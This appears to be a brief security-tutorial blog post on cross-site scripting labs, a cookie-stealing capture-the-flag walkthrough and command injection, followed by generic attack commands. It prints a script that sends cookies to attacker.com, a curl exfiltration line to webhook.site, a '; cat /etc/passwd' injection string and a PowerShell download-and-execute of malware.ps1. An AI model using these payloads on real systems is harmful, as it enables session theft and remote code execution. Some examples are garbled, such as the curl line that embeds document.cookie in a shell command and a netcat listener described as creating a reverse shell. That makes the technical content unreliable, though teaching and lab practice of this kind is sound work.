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In this article, we delve into the intricacies of Cross-Site Scripting (XSS), a critical vulnerability in web applications. The focus is on understanding XSS, its types, and practical labs to exploit and mitigate it. The author also introduces a tool called Webhook.site for capturing and analyzing web requests.
You Should Know:
1. XSS –
Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by other users. It is categorized into three types:
– Reflected XSS: The malicious script is reflected off a web server, such as in search results or error messages.
– Stored XSS: The script is permanently stored on the target server, such as in a database.
– DOM-based XSS: The vulnerability exists in the client-side code rather than the server-side code.
2. XSS – DOM Lab
DOM-based XSS occurs when the attack payload is executed as a result of modifying the DOM environment in the victim’s browser.
Example Payload:
<script>alert('DOM XSS');</script>
3. XSS – Stored Lab
Stored XSS involves injecting a script that is permanently stored on the target server.
Example Payload:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>
4. XSS – Challenge Walkthrough
The challenge involved accessing the ‘admin cookie’ using Webhook.site, a tool for capturing and inspecting HTTP requests.
Steps:
- Inject a payload to capture cookies.
- Use Webhook.site to receive the stolen data.
Example Command:
curl -X POST -d "cookie=$(document.cookie)" https://webhook.site/<your-unique-id>
5. Command Injection
Command Injection is another critical vulnerability where an attacker can execute arbitrary commands on the host operating system.
Example Command:
; cat /etc/passwd
What Undercode Say:
Cross-Site Scripting (XSS) remains one of the most prevalent web application vulnerabilities. Understanding its types and practicing exploitation techniques is crucial for penetration testers and cybersecurity analysts. Tools like Webhook.site simplify the process of capturing and analyzing web requests, making it easier to identify and exploit vulnerabilities.
Here are some additional Linux and Windows commands to enhance your cybersecurity practice:
- Linux Commands:
- Nmap: Scan for open ports and services.
nmap -sV <target-ip>
- Netcat: Create a reverse shell.
nc -lvp 4444
- Grep: Search for sensitive data in files.
grep -i "password" /var/log/auth.log
-
Windows Commands:
- Powershell: Download and execute a script.
Invoke-WebRequest -Uri http://attacker.com/malware.ps1 -OutFile malware.ps1; .\malware.ps1
- Netstat: Check active connections.
netstat -an
- Tasklist: List running processes.
tasklist
By mastering these commands and techniques, you can significantly improve your ability to identify and mitigate vulnerabilities in web applications and systems. Keep practicing and stay updated with the latest tools and methodologies in cybersecurity.
Further Reading:
References:
Reported By: Todd Mattran – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
